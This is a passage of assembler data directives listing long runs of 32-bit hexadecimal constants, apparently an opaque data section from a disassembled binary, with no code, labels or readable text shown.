0A2E13BCBh, 5C190381h, 908FFED3h, 0C476E0B7h dd 0A40E1684h, 3FB3956h, 0D8943A38h, 2720CD6h, 97099F31h dd 9C835E6Dh, 29B958BAh, 0BDB8F852h, 0B30BD800h, 0B5B4614Fh dd 6F7B0021h, 23E7A9A1h, 0CD1E4466h, 803CA2CFh, 1DDAEA11h dd 65F9EFh, 402BE761h, 7A598918h, 60DDDE71h, 8E5EACC0h dd 0D96598h, 4F8542ECh, 95E21C15h, 6356760Eh, 6C964049h dd 0F7187F8h, 6BCFC1DDh, 6AC79220h, 2C3EEE9Eh, 7B298A9Ah dd 8300F0BAh, 69BB2D33h, 133E007Ah, 0A954F3A0h, 2903EFDEh dd 6B8C7C27h, 9718E884h, 1CE5030Bh, 3EEE5C3Bh, 63E0519Ah dd 0D9000E78h, 3DE3F260h, 1F64F08Eh, 83923827h, 0E7965FD7h dd 0F018CFE1h, 1E3F5E3Ch, 0C473A61Bh, 67C4B300h, 7C66BB65h dd 6851CE8h, 3A894023h, 2C9D4550h, 6BDBB700h, 66A1BFAAh dd 0B03700BCh, 60E4C3C8h, 670EE73Fh, 0E04D6CE2h, 9E991A47h dd 7BCA034Ch, 79BDAFEFh, 35A8B0A3h, 0AD3FF3ACh, 0B3728393h dd 80A169FEh, 0A37E2BDh, 0E0B116ECh, 5999008Ch, 6C245130h dd 794C2F14h, 0E8B14C0h, 812A00F8h, 6E86A634h, 7D1B1C73h dd 0CAB880E4h, 6DC79E4Dh dd 87D41900h, 0D5C9472Dh, 86721Ch, 326243A8h, 6EBF442Ch dd 16907612h, 0BB5BE0h, 56418A82h, 2C986FFh, 0A584A000h dd 0D1EF58C5h, 2DDA0073h, 60525D38h, 5600D71Ch, 952C0FC4h dd 58F9924h, 73E9C65Fh, 0B0FC00F9h, 43194AE0h, 0B86AFB2Eh dd 25C0AF1Fh, 0B8EB3857h, 0A0162414h, 815E01F4h, 0C4C8648Ch dd 0DB0FE1E7h, 402A3D2Eh, 8E9F77E3h, 0C58B005Ah, 9932DCD3h dd 2800E26Bh, 0A6F5E768h, 83103Bh, 0E4F888B5h, 0E8BBFA77h dd 4A85550Bh, 0F35E8058h, 38B3DCD0h, 7280A565h, 8917157Fh dd 2301664Eh, 8D35B03Fh, 0B8D4DBCAh, 0F7A039CDh, 4755210Fh dd 805277A0h, 0DF4C1340h, 93E4C44h, 0CAF098h, 0DBB4639Ch dd 8BC71346h, 0E745006Bh, 0F1728F0Fh, 0A98F500h, 0B12DEEA5h dd 0C11A0078h, 0D93FB080h, 330099EFh, 9D8A38E6h, 3C8B488Eh dd 8505F2E7h, 805E11DBh, 71D83EC0h, 9C889739h, 66803AD3h dd 9AD24D38h, 1E1DE89Eh, 408A9046h, 0B6F9E9C1h, 0FB12B298h dd 34001C9Dh, 7A98F61h, 4A670026h, 0A5596A2Dh, 0BE00AF88h dd 0AEE8B2F9h, 173BF2BCh, 0FEEC8EAh, 0A8A09B27h, 0C403F10Bh dd 39260A00h, 0A6557314h, 0D8BE4880h, 5AF03800h, 812945DEh dd 0B949C300h, 0AF528B16h, 71B200D1h, 7A8EB3Dh, 0D800AB29h dd 0FCF19C3h, 9850F349h, 2D0C0139h, 5BEAE17Bh, 1E40F8F1h dd 0CC3E6F7Bh, 0E38280F7h, 45DC8A84h, 235D24D4h, 0AD003AE4h dd 0CE61E852h, 2D003406h, 422CCBECh, 1DC06315h, 77E286h dd 4E34F31h, 0CC120EBAh, 0B40010FDh, 0F92BE991h, 32AA01A1h dd 6C4E9FC6h, 8756F8E2h, 5FCE1400h, 0B23F4750h, 3C70DD80h dd 0D5B04980h, 0DEF137BAh, 0A8032F00h, 0D3DA7994h, 48D180A5h dd 123C5B01h, 26E87393h, 48767D70h, 0B00CA45h, 38DCE5CFh dd 490077D0h, 0EE43408Ch, 20E19Fh, 4F81053Eh, 1C7E258Fh dd 9DFC40E3h, 9C00BF30h, 7D295707h, 95E83Eh, 0E379DABCh dd 0E25F0CEh, 0BEF1DB01h, 0B704E0E4h, 0E048ACCCh, 0A0B2A6h dd 27FB3A5Fh, 7792ECC2h, 0B4DC1226h, 3F11C600h, 0EA8EE541h dd 3DA337F4h, 40F9A728h, 0F776A434h, 8B4A39h, 59A344F2h dd 0A83C70h, 0DE669E47h, 0DF0A8E77h, 50F13A00h, 21CFD298h dd 2CBA58EBh, 2872D701h, 0FD2792ABh, 0F6A5FDAAh, 0D0A79261h dd 0E80093E2h, 0CD87C7EEh, 0DA60F24h, 0FCDC56ECh, 3AC880D0h dd 0D5D6B467h, 0FA0B0051h, 2AF5F75Bh, 0E20017B6h, 0BF950F21h dd 410186h, 68227F8Dh, 0F3563098h, 3CDC2D00h, 9D277670h dd 0EBD31CE3h, 240F401Fh, 83756F60h, 58556330h, 2D596A2h dd 236B2BF3h, 0BE046F8h, 7F756ABAh, 0DF516000h, 3BF0E7D9h dd 3FFA000Eh, 68A78ECCh, 7C1601DEh, 31064B9Ah, 3B50C03Dh dd 0B91E8A44h, 217844CFh, 0A30082A4h, 54E50760h, 0B6F13000h dd 0B8A84CA5h, 0E460F970h, 0C77E3072h, 0C1D6A640h, 0C678C00h dd 0E579AF7Fh, 897A009Ch, 0F25FC6DAh, 501E5A64h, 0FB00D523h dd 0F81AC799h, 0AB960008h, 3548D040h, 4F00F3C3h, 6830AC29h dd 6BE2B7h, 0CF9EBB69h, 0B9D99AA5h, 5057641Eh, 38BDEC80h dd 66E05Ah, 0FAD717F2h, 4F201301h, 3E62CE01h, 19A614D4h dd 0F8C05B21h, 0E25B0094h, 720485BFh, 163BC03Ch, 0B807BDC7h dd 0D48F8087h, 8B942F80h, 0DAC31245h, 7E40302h, 0A8E89943h dd 0EF00700Fh, 2A4CCC10h, 227FE56h, 0A38EB325h, 7BE049C2h dd 0FA009C3Ch, 1C2254BCh, 76D1FBB4h, 98C124DAh, 0E704004Eh dd 65536C3h, 8AB4350Fh, 7DCC4012h, 0CF1B21h, 0C7A9EA54h dd 0EB95745h, 0FC006A7Ah, 0C385B795h, 399BDC04h, 0FA0ABBh dd 0D8CAF85Ah, 207A2FAEh, 0CDC47501h, 0F3D1D026h, 0F4FFF8h dd 0F1CBDB8Eh, 0AE2AFCD2h, 9F00A590h, 45588860h, 726BB54h dd 388AC634h, 410A2307h, 0CA8C3AD8h, 5436322Eh, 2EA61B02h dd 0EB2C6026h, 0D71EE93h, 37203412h, 966AD020h, 0C648BE07h dd 0D4A0A128h, 1604DF01h, 64E177h, 7F673494h, 0B7002EBEh dd 88DB1D8Eh, 0EF9245E2h, 0E10AAC0h, 5ED17A93h, 2251EBC0h dd 5F00201Ah, 1B56B458h, 7DD7CACh, 6ABD81D2h, 0C8C06045h dd 5009DE2h, 32AB8C4Eh, 7E3C2623h, 34A400C6h, 0B96D1C63h dd 53057935h, 0BCE07A54h, 0DC6C01Fh, 1294A9A3h, 1EEC5EB9h dd 3294C0E0h, 8201BA60h, 9A472800h, 27180EB3h, 95B705FDh dd 90425E3Fh, 2B292118h, 9A112E00h, 0F0A9FBAAh, 7B7346h dd 93DA5C5h, 0E858A8DCh, 0C9DFF300h, 0CC6F351Bh, 7B400F42h dd 0B00F5FCh, 5E57DA82h, 0DBDEC700h, 0C50C3A83h, 7039001Ah dd 4153218h, 9760AAE6h, 61316A38h, 0FE0A0758h, 1033CBF0h dd 0DFB1C221h, 75450100h, 3CAABCDh, 1F8EE6Eh, 0FB7D33A2h dd 32D17631h, 0E4F90024h, 5269B3A1h, 748C010Eh, 99C384FAh dd 18D8D0ABh, 44D75000h, 0B014527Eh, 0E26A013Dh, 0C5E7A286h dd 4A4020C1h, 1910D912h, 6E981800h, 31B96Ch, 0E30D0735h dd 0B8332E90h, 0CDB4A200h, 91B10B1Ah, 6C690011h, 23DFD383h dd 860E9749h, 42E57417h, 43324A87h, 1401A040h, 0A61096D7h dd 0A0FC84BCh, 20408024h, 450022E8h, 342B8386h, 0AF41F1h dd 0E0ECFE51h, 0AAD6A3BEh, 33C6DD00h, 7419CAD5h, 8AF70092h dd 82C48F7Eh, 67EE516Ch, 9ACC3C02h, 0C1F4F15Fh, 0A0E8A93Bh dd 41DB00DFh, 99836AE1h, 0BC004F95h, 0CB5EEE06h, 594A503Fh dd 1401481Bh, 0A4FBE61Ch, 0F5EFF855h, 1782A500h, 5EDD94BDh dd 7AA00ACh, 0C56C22C4h, 0D07EB235h, 0FFF5EA0Bh, 804000Ch dd 0B8D57F9h, 381E7477h, 24000B8Bh, 3DF11320h, 0B046C800h dd 4DA8495Ch, 80D80044h, 4A2DFD64h, 0C09ECADh, 0C222C0h dd 0B34E7378h, 7C89021h, 0E632A976h, 4015B3A0h, 9EC386E8h dd 980D3B00h, 25D37506h, 0B4A70168h, 86E9E585h, 0F090C1E1h dd 0C4B27E26h, 8C20CC4Ah, 0C928F1h, 0B4F62171h, 0BB8AC8BFh dd 17EB4503h, 0E0200977h, 51DF0B3h, 44D9C3CBh, 93C486h dd 93514ED0h, 793A05C6h, 55F80085h, 0D4E20288h, 0E83B007Bh dd 693F449Ch, 4100A9E1h, 730146C6h, 48BE6E74h, 1707384Dh dd 0C02C6835h, 0CE6381E4h, 5C5D4600h, 0A21C5A44h, 0D6FA0EB8h dd 0EE808D71h, 1517C103h, 0D3071890h, 481497BBh, 6972B940h dd 0C3470005h, 733F3A4Dh, 0DC9C676Ah, 8741C800h, 37DD6081h dd 0C078F726h, 0E63AF009h, 0CBED9100h, 0F4E242B1h, 521A0098h dd 218984FEh, 68007A5Dh, 49BC70BDh, 0A692B6h, 5B8A7DAh dd 0BB9C935Bh, 42489600h, 0CD0EFEF2h, 82DA073Dh, 0DC2C6DECh dd 9A019F81h, 76185BF3h, 60961959h, 8E910F86h, 1822880h dd 0FC71E721h, 0BE973200h, 0BD190471h, 26900D7h, 0A4FEF4C1h dd 0DE5814C5h, 0EF90F1Bh, 1C8FA0EAh, 465228Dh, 8E76503Bh dd 2054F0E6h, 0C600F97Fh, 0A908CC91h, 7226EDD2h, 40523919h dd 0AD95B901h, 0D8658FB2h, 0A5009221h, 8055BDD6h, 742BD5h dd 10CF50EFh, 8D0D77C6h, 1B3DFE1Fh, 7B7CC400h, 72FDF8Ah dd 0E853E3F3h, 0AFC2A00Fh, 2054CF0Dh, 0B18B11B0h, 38649D56h dd 96E81Dh, 0C30217AAh, 2D12C6E0h, 80D3F13Fh, 0C2A0F5FEh dd 9BCF2C5h, 8EB83A72h, 58D1C40h, 5707D0F5h, 0A230C202h dd 700D71B3h, 0CFC018D4h, 0F860F934h, 20468BA1h, 73D918Ch dd 0DB1080B0h, 0F06706F7h, 61C818EAh, 92CD10DAh, 0A46F5F07h dd 83EEBF74h, 0E840123Eh, 19E8B66Ch, 0D1C43AECh, 620819h dd 0C2887EA1h, 332627B3h dd 558F900h, 127A77E1h, 3A0D18F2h, 9E2F100Bh, 2DB1E000h dd 0D89781D5h, 2CBFA4Ch, 0BAE9E82Ch, 9CD08E6Fh, 61EB3130h dd 9E5C63h, 923C5ED7h, 3743E2DAh, 0A601C398h, 0AA63DCECh dd 60805349h, 0C03A426Ah, 4C003D7Fh, 8264ED6Fh, 0E5F51C58h dd 0C01E6D4h, 46D77093h, 70ED4E69h, 786EFB14h, 93E80728h dd 3843A320h, 1030003Dh, 0BB2E1447h, 622AB566h, 0A927B4D9h dd 0D688840Ch, 486CB4h, 51973B84h, 1143B12Eh, 718E6400h dd 49319D2Ch, 4490C8h, 5BE91A1Ch, 41F7FD46h, 8902124h dd 0E7958939h, 20508061h, 127EB49Ah, 405812D2h, 3EB313D8h dd 0C050ECDFh, 3C002FF0h, 97A39030h, 4D7436h, 11841EF0h dd 866B4C60h, 544A7800h, 0DABE6C6Dh, 0F5E5037Ch, 8BBD5D8Fh dd 44C443C0h, 0B6E2A200h, 1261A9A1h, 625530F0h, 0F8BC6411h dd 0F9043203h, 0E8DE245Fh, 0B7B930h, 905750D0h, 4D8B365Bh dd 1B6AC02h, 4B1EECB8h, 6E100010h, 95F2E7F3h, 3A0E55FEh dd 2BF7221Ah, 0A0448E99h, 0F554DA15h, 0A1E50012h, 98494E42h dd 5A0FA204h, 676CA9BCh, 751F4B2h, 35C165FEh, 696C24h dd 0C061B3BCh, 25F98CC6h, 0F0683A00h, 0EE74CEB1h, 13277335h dd 8023DDE7h, 484FDF4Ch, 9DC28500h, 8DBD6CF3h, 0DA4A007Ch dd 0A5EB8BC1h, 0F03B558h, 0BAEF32ECh, 0F49DF82Bh, 0A6F700FFh dd 9F795437h, 0E4008DAFh, 0A3F52C77h, 5CB272h, 15C263B5h dd 0D24EB1AAh, 6D86AD00h, 90C5A9AFh, 0D38E0032h, 0EC924F4Ah dd 7D00776Eh, 8C9CD28Fh, 7123EEh, 7831F67Eh, 1BB5AF5Eh dd 0F3E0DF03h, 0D9921E9Eh, 0A84060ADh, 5AB9810h, 67633A7Dh dd 0A2448056h, 3900EFE1h, 40BC26E3h, 4A9CF5h, 3FACC792h dd 25DB85A1h, 0E6AE1B00h, 1FC9B768h, 3B977ADh, 0FC09B270h dd 5AD89DE2h, 3300AAA0h, 361733Ch, 0BF72DC36h, 0CA003F70h dd 47F2E0BEh, 450975h, 9364245Eh, 8A95E765h, 8F6E42Eh dd 0A97ACB00h, 92EAACh, 0D2CC0EBCh, 9B029E78h, 3D899100h dd 39A2B2BFh, 52A30324h, 0DAC9994Dh, 852E8394h, 0D062C1B4h dd 2417F036h, 699EF500h, 8394F1D8h, 3D1F0314h, 849FADCEh dd 7E461900h, 7BF23C16h, 4C11004Ah, 9028D07Dh, 0EE007A6Bh dd 0F3CE6F04h, 96F9C3h, 872E95EFh, 7080389Eh, 0A7B7E500h dd 81DDD50Ah, 0D4060715h, 334EAC24h, 0C0B97C96h, 0B29FC88Dh dd 0D311BB60h, 1CC309A8h, 8711F1F7h, 60FC8F84h, 559D9410h dd 6DD47501h, 63C639F0h, 9BC8424h, 0A6334882h, 3C664420h dd 21607459h, 6CA5F811h, 7C989AB0h, 0DDC40070h, 0CC56CF3Eh dd 0E20941C1h, 0D566C2h, 47D8506Ah, 0EC521629h, 13145FB1h dd 8080C067h, 59C2926Dh, 606BF1DDh, 191014h, 2455D9Dh dd 9B6A543Dh, 0E18E0500h, 0BA980C6Dh, 81AE1885h, 80253884h dd 5DC8CE02h, 60D7B91Fh, 7CF94Ch, 124D29CCh, 0FE263805h dd 0C1EF6003h, 88BD72D9h, 0FF69E6h, 1A822A9Ah, 0D0D81BB7h dd 700EDE00h, 0AF4AB9E7h, 3F0F1C45h, 0B0DC47EBh, 3E087184h dd 0F4F8877Dh, 4E70809Ch, 2E5548Dh, 69461F31h, 0AC60A64Fh dd 3200AB15h, 0FEAC2CE4h, 0DEB2DCh, 0D2B1912Fh, 0A40EBB56h dd 0CF65320Eh, 6CFA602Ch, 2AF8B6AFh, 3B881A76h, 948004DAh dd 69AC7F21h, 0F2002E4Ch, 0CD2CF00Eh, 0B05D14C0h, 2E00130h dd 2AC1AF9Dh, 0A048CCA7h, 53CF4F00h, 0A2CE8F2Dh, 25DF76A9h dd 10600214h, 0C8002FC1h, 1D0F7489h, 706B93h, 0F9644B92h dd 1BD278EEh, 1026E0BCh, 0D8CEE700h, 1913718h, 0EB3EEF6Eh dd 240169B8h, 0F04D5718h, 2D3E9Ch, 63D25F43h, 2A5FB98h dd 0EBAC0F54h, 18485235h, 0A614C547h, 5D4346Bh, 54B9F0AEh dd 7F7230D8h, 809560D4h, 9650E327h, 2A919C02h, 0D85BBFE4h dd 5AC1A0FCh, 39E130FDh, 9CC2B990h, 94838780h, 90D00D0h dd 91623D95h, 4EE76600h, 872D65AEh, 0A1440169h, 20DD56B4h dd 0ECA07006h, 0FA3E4CE8h, 6BFE012Bh, 2AEB0895h, 0FB59CCh dd 0E5C33CDFh, 704660CAh, 0CBD80300h, 582A75C1h, 0C08E7223h dd 4466D5E0h, 1500E84Ah, 0FCEF083h, 3AFA8Bh, 0EFA2B65Eh dd 8F41BE17h, 815331C9h, 942EEA6Fh, 80E5E0h, 2F5C4D56h dd 3AFDE3D0h, 5DE6F106h, 589411F5h, 0C7474ABh, 9024415Ch dd 7D00D011h, 6E8A5626h, 1D29849Bh, 80EBED04h, 685E7739h dd 9D1DA04Ch, 0B5C0CF8Eh, 0A61C651h, 0ABF5029Bh, 48B79939h dd 0F3AD9740h, 192B5400h, 0F2A5FF7Ch, 0AF720703h, 0B0EE6F6Ch dd 5141A0ADh, 7AD9EF0Bh, 6BF0A7D3h, 8AF8A880h, 3DB127Eh dd 0FB6C0066h, 181C445Eh, 0BF2A4609h, 0F4D90227h, 0EA4AC00Ah dd 4B275h, 53852339h, 8FDEA449h, 36305700h, 1B4EFE7Fh dd 0C2902E3h, 35CEF106h, 21F51448h, 8532EF24h, 562B5104h dd 81D52893h, 17FC0D1Eh, 0A1C31869h, 39B040FEh, 0D9277209h dd 413451AFh, 2A7F48CAh, 0EAC32C00h, 12453295h, 40B34A47h dd 98030F44h, 0EC052089h, 0AAC965F9h, 0BC86EC90h, 33A402BEh dd 75DBE4AFh, 0E88004F8h, 0C6007C03h, 0BE1F11CCh, 25EE43h dd 0E28589FBh, 7E74BA04h, 3B198D1Ch, 9681441Fh, 0A7EA3CC0h dd 52A6F20h, 0F2FA1C11h, 79E4F4A8h, 0A802D637h, 843A93C3h dd 0A81A7483h, 6E865Fh, 0E2B70CE5h, 0E8F3ACA1h, 275A3716h dd 39D1F401h, 5ECC1E67h, 23ED0050h, 2953C20Dh, 187E83CBh dd 27BEAB00h, 3F8F5524h, 2C4500A5h, 0D3789051h, 0F0C5DC70h dd 0F581A31Fh, 5E8075FEh, 0AF208349h, 5100FB22h, 42B1CA6Ch dd 1AC887Ah, 9BD15B08h, 0F4E0AABEh, 3601DDB0h, 48BD6769h dd 75F053C3h, 0C1745F93h, 4065D76Fh, 2F1E25F4h, 21FC6207h dd 0A5F05A54h, 4A2770h, 44871C95h, 65D8B996h, 0ABACEE24h dd 0E300B824h, 3419C8CAh, 55301456h, 8901B848h, 2C3C027h dd 9B2A30DBh, 0D6EBA512h, 9D7A8490h, 4D570043h, 9A33DB88h dd 11729910h, 0FA4C277Ah, 1D007E0Ch, 32DC260Eh, 0BF5DF7h dd 51EF9871h, 0F1CD7530h, 0C1A12B0Bh, 50DA008Fh, 247AC40Bh dd 1F81085h, 2A79E8E1h, 959CC0F2h, 68094C00h, 0DD038113h dd 0A3E80Ch, 0CFB01F51h, 0C6D594B9h, 0FF01D000h, 5254FAA4h dd 7F07A02h, 9A97E66Bh, 2AFB8069h, 4A0248AAh, 821462EDh dd 71C448A7h, 68787Ch, 26B66CE2h, 8E4BBE67h, 631423FEh dd 17A10BA9h, 5050EB96h, 0B4D30014h, 0AAC242D7h, 0B28966Eh dd 55803308h, 0F4BB9E2Ah, 1A1302E8h, 0FC404A25h, 0C2C7A749h dd 0A2431871h, 0C32280C5h, 0BE462A0Ch, 78B31101h, 963F0629h dd 2038A02Bh, 0C066191Ch, 0B8F8908Ch, 0A2C60DE4h, 51505FC8h dd 0DCCF01ACh, 4A00F4A7h, 45B904FFh, 36A2D656h, 2940207Fh dd 0FF197E01h, 5F095CE3h, 0C40098BEh, 56D7871Dh, 8E78F02Bh dd 80EFFE3Ch, 0C6E54913h, 870712Dh, 0E667149Ch, 0D3808038h dd 0AA57117Bh, 15FC006Ch, 4DFADB89h, 1A00DC8Ch, 32D23645h dd 18BAB9Fh, 94E9B72Eh, 0F06BB259h, 8F004D26h, 75A976A5h dd 0F632EA2h, 0F9B5D830h, 23CB3560h, 0A100D410h, 0D05F573Bh dd 8C0AA2h, 4E5224F8h, 0A0943093h, 9E3A6800h, 64471EBCh dd 71F43865h, 0B69A4F00h, 2333BBAAh, 2F49160Fh, 0E84B677Bh dd 0ACD3BF60h, 0F45B0E78h, 35E073F1h, 2CC7EA8Eh, 6C480E00h dd 96782907h, 0E490A889h, 32B30495h, 0BD1415BCh, 6476138Ch dd 0C222D890h, 319460E1h, 1341046Eh, 57B34301h, 0F5584F56h dd 17B060h, 3120F0D5h dd 2878C9D9h, 326960Fh, 40A6EF68h, 885F380Ch, 0B8C70553h dd 69EEBCBBh, 80E80514h, 0E9F80D90h, 798CD301h, 57DD1C41h dd 0E122D443h, 0D0814AD9h, 17F09B7Ch, 2EC1804Fh, 412B6731h dd 0C2C60937h, 28039FC9h, 200E9E35h, 80676F8Fh, 4F95227Fh dd 15B9123Ch, 0FD7C800Ch, 722A704Eh, 0BF7D88C3h, 0F51D5E00h dd 5CA7FF62h, 0C4D1E189h, 750021B8h, 0D737FA5Eh, 0DB0160A9h dd 43D35647h, 0A0A14BE4h, 1AC302ACh, 0A00DC6Ch, 77C9C16h dd 0D0D39983h, 0A024318Dh, 0C3989D01h, 0DB00C06Ah, 21360F2Dh dd 33622A0Bh, 8808030Ah, 12E02107h, 0E240790Fh, 5C52AAC0h dd 0B737EAB2h, 0B6A15021h, 0F53A50D0h, 0B3B18009h, 13187CF0h dd 3972003Ah, 0BB755E24h, 83E76450h, 0D4A6EB0h, 0EB91B79h dd 0C3C2C151h, 1563710h, 0AC06A2B0h, 0A83F4A50h, 6928D871h dd 0B400E041h, 0D7A42BD5h, 77B7AE2h, 573491D9h, 411FF033h dd 0CB1D9206h, 7E40FF20h, 88C58F8Eh, 48E70018h, 0D5F586BAh dd 6800E361h, 7D538408h, 0A7630Dh, 0AD6235CBh, 0E1B7FE29h dd 8EC3F039h, 0DA7E1Ah, 9BB1DB23h, 0F75800F9h, 71E6631h dd 9C7A5352h, 8100AFFCh, 0C83055D1h, 1D88B365h, 0B85432h dd 4FD77014h, 0EE0098CCh, 6B587703h, 0E2CA2D5h, 378F9F65h dd 6910D40Ch, 520619DDh, 102F51h, 0B50946C8h, 18C59E19h dd 94007671h, 0FBEC0D61h, 13237CF2h, 0BC7481h, 7788DD45h dd 0D6004886h, 0C0EE5AA7h, 36BFFAh, 0DF69B141h, 38DA39DCh dd 7AAEFD00h, 0E52FF768h, 287B1E0Fh, 0EACE0060h, 438D045Fh dd 63BFF500h, 95189F59h, 0BAED000Eh, 0F7347007h, 0C7003949h dd 6B41DF93h, 0F8BF5838h, 7EA71CAEh, 3FCC9FFAh, 0E2C1A680h dd 31137A8Ah, 0A179CD30h, 0DEE66Ah, 42194018h, 605A83F8h dd 0EF3CE400h, 20125005h, 7EAC0038h, 0CCA5D084h, 5C07853Dh dd 0D9032C29h, 5BE08ED0h, 87363EA0h, 5311A900h, 777865FDh dd 24C61F00h, 0A53A70C1h, 72717Eh, 46029FDAh, 168EC3DCh dd 4CD07F07h, 0E290C78Dh, 7D3B0Fh, 0A97363B8h, 42269866h dd 22E11C03h, 0E8EF8733h, 4EBC9A8h, 430D284Ah, 1682824Ch dd 0DE0EDF40h, 0BD747F0Eh, 3E46E0BAh, 2BFAFDh, 4FF1AC6Dh dd 0BBE66291h, 1A70BD18h, 0BB01D38h, 78C287A5h, 0EC4B2D80h dd 0FD0ECB3Dh, 404C5A66h, 0A9F85FC9h, 890A1h, 0E32FF66Ah dd 54F7AF9h, 32476303h, 90042A0Fh, 0BA57E4h, 97DAB6A2h dd 672B5E98h, 9DCDE71Fh, 4B16EC04h, 0B0B900FBh, 89D09E5Ah dd 38BC49h, 3DCE37E5h, 78A62E53h, 1F6B00D8h, 6C746554h dd 0A70E814Dh, 0C0120FE3h, 6FED0196h, 0FB3D00C8h, 0AD64B9EEh dd 4CF267B8h, 0E1063400h, 0D2417D32h, 0A4EE0E29h, 0E64056E2h dd 0D78366CFh, 0D3ADAF00h, 351F10ABh, 485001CDh, 811E1537h dd 2B68809Ah, 32F02F91h, 46CA00DFh, 2CA9985Eh, 18F2652Eh dd 605BA400h, 7DDEACA0h, 2DF0000Ch, 246353F1h, 0AE0AED96h dd 9062D83Ch, 58274B00h, 3FB8476h, 757D3A21h, 0F39004A5h dd 53004420h, 0B76B6A36h, 90FD138h, 0DE900982h, 62202381h dd 15CC45A8h, 0E100D0BFh, 22A4A6BFh, 7400352Eh, 4DE8062Fh dd 62551Fh, 0CA9C1513h, 0FA987766h, 0CB079201h, 9AD6866Ah dd 373B7C4h, 0E3BE9EC1h, 0A2A0B597h, 0BFE07245h, 0C8A30F28h dd 0E6AE3200h, 0E262A847h, 8A7C00F5h, 0E5B24EEEh, 0FA0756F1h dd 11CD0783h, 75CC1E80h, 96263EBFh, 41252C00h, 23DC80B9h dd 43D12A03h, 0F83D07CBh, 3D6B3C82h, 0FD83709Bh, 846233BAh dd 0FEB800ADh, 0DECDCC5Bh, 0A130E90h, 44492BF6h, 0BBBC00E1h dd 493B08C6h, 1000497h, 0B429B25Eh, 0BF00510Ah, 701D2C03h dd 3D7EC2D5h, 0E2801305h, 68BAF267h, 9100E488h, 0D07CD1F3h dd 9995DCh, 0DBC4BB4h, 0F451C6F7h, 0C200EFF0h, 79FF669Bh dd 0D80492h, 0CC94FBADh, 0D4146DBFh, 0FEB52709h, 8C140038h dd 5FD03Ah, 0EC9A8D75h, 46564858h, 64A5741Eh, 0CA0E815Dh dd 11E14CC9h, 0CC44005Eh, 2948F036h, 0D205DC25h, 0FC3C4D5Dh dd 0D7E3FBC0h, 539D48F8h, 757F7100h, 952ED548h, 0AE01FF7Dh dd 366DC433h, 0C824440Dh, 12D9007Ch, 1105D86Ch, 0E5039D52h dd 44981082h, 0A133E0C5h, 965A00E3h, 0F46F4724h, 1704E8C0h dd 92E91DABh, 20419980h, 0F7FF2EE0h, 257C00C8h, 0F87AC087h dd 7D630E1Eh, 0E91723C0h, 0E2A39299h, 70570A12h, 80D09753h dd 9D2F28E7h, 0B80085F4h, 0B2171E0Dh, 0CAA0CFh, 36A2BB9Fh dd 29B34295h, 4CE3A800h, 701F2D45h, 4E010F10h, 3C40DAD7h dd 2330AA91h, 2A0CFCA8h, 990031EAh, 2DF683B3h, 50CA2CE3h dd 0A3BCCB9h, 8834BC7Fh, 993000ACh, 8B691287h, 0DC7A1916h dd 0F3735000h, 7810F38h, 0FDBE5329h, 70309CF4h, 0E2C0D600h dd 11A4E6Eh, 0A09426DCh, 178A0088h, 0DD751438h, 7A118E03h dd 0E89679DEh, 3AE3458Bh, 0D0D0C442h, 2A2E0224h, 989153CDh dd 962B9340h, 5CC29C00h, 89E567CCh, 122000F0h, 6B06A622h dd 0BB0047B5h, 4837ADBh, 11E763h, 0F936BDBAh, 48C55990h dd 0DFADA103h, 88199B3Ah, 4BDCA8h, 72CE6FD1h, 27218A24h dd 820ADD00h, 2B420EE5h, 3DCCE025h, 0B000456Ch, 0EC2AB967h dd 4700862Fh, 735A0F17h, 937F8Bh, 0C0A3546Eh, 916BEF30h dd 8A84EB00h, 0F4F15A31h, 1C1D0097h, 324FCFC1h, 8F77334Dh dd 0C5A37C00h, 40F36DDEh, 0EC5407CBh, 0C07E6475h, 0DFEE5EA9h dd 8A13B900h, 9E1EE13Ah, 0BDB40402h, 0C16CEBC8h, 24F6F0C4h dd 0FD002414h, 36EC5D0Dh, 1D3D6Eh, 0EF8A1906h, 0BBD8A74Fh dd 24F7A100h, 7593688Bh, 5932031Fh, 0F0B22EC9h, 8156F9B8h dd 7B006F79h, 829CB9C7h, 16D80FE0h, 40A55080h, 559A2524h dd 0B0171CB2h, 6440D940h, 76308458h, 47460A31h, 6410B4D0h dd 73A918BAh, 0DE390164h, 0A383474h, 0BC63FA48h, 0C0C51CFBh dd 0F47E7177h, 0B5074D00h, 4B984363h, 0DAC18DBh, 0C5B251D8h dd 19804F3Ch, 42592F46h, 60E2545Ch, 51BD11AAh, 66FA859Fh dd 0E038E51Fh, 7FD83547h, 23C055B0h, 63D4E1EFh, 0D7321E2Fh dd 8B78478Eh, 0A967C0C5h, 0DB01C939h, 0C2FBCAEh, 927002D7h dd 0F37A2Ah, 52B32827h, 449C67F9h, 0DAB90E00h, 0A324EDB5h dd 49EB191Dh, 60D2D0FBh, 0DB612106h, 0EAD935C9h, 0C0DB4F8h dd 0E5BDF54Fh, 21C08508h, 59EAD1AEh, 42D93ED4h, 77259E00h dd 2DC88B37h, 218C5D00h, 0BC9ACBE0h, 0D7D228B0h, 926300A4h dd 8F074AB3h, 0F02E5421h, 0A241049Ah, 39C0638Eh, 5E7C0C65h dd 0FE994A94h, 0EAD43D8Ch, 92F5B488h, 0AF409F64h, 0E1F3EAECh dd 0F88CC700h, 0FB2AA4B9h, 0B830051h, 847F2FCBh, 0A8DD3513h dd 53D3D506h, 0C92C0181h, 984663C3h, 80E040C0h, 5E8C618h dd 2A00C0B2h, 0A7AD7C0Ah, 4EA697h, 0D11DF4E9h, 0E411D469h dd 4077D1C0h, 1C9E7550h, 7953CDFh, 0D028D722h, 2E41C418h dd 0F3E7A900h, 852369C5h, 5AB895h, 0DA10350h, 0E3110FCFh dd 0C53B8C00h, 0C097C74h, 92223D8Ah, 196F8D00h, 578CDCEh dd 17D7B94Ch, 0F21094BBh, 38FF00A9h, 595664F7h, 74ADF007h dd 1FD03EDEh, 8071FE9Fh, 8E7E9025h, 0F4EAB926h, 7860A601h dd 0F30D3D28h, 0EE9C32CCh, 0E4E50038h, 822799CBh, 3B90E268h dd 9800DF77h, 0F23D6B50h, 29F49A17h, 0F704DC1Bh, 2D9BA106h dd 0EEF51D10h, 7300FEFEh, 19CFCC38h, 0FB3C9EDDh, 9C920082h dd 0F24CE093h, 0C88F415h dd 0F33073F7h, 5A00A229h, 8A6E3881h, 0B07769h, 4CB5DD5h dd 0B506353Dh, 1692AB00h, 0F90874Ah, 9E05006Ah, 0B3D3270h dd 0AB051EC2h, 127BD30Ch, 15187780h, 9FBC0008h, 0AAD15E40h dd 9900036Dh, 1B5FFB3Ch, 3D29D4h, 86AC4873h, 0EBD68CE9h dd 0B903Fh, 0A9D82A51h, 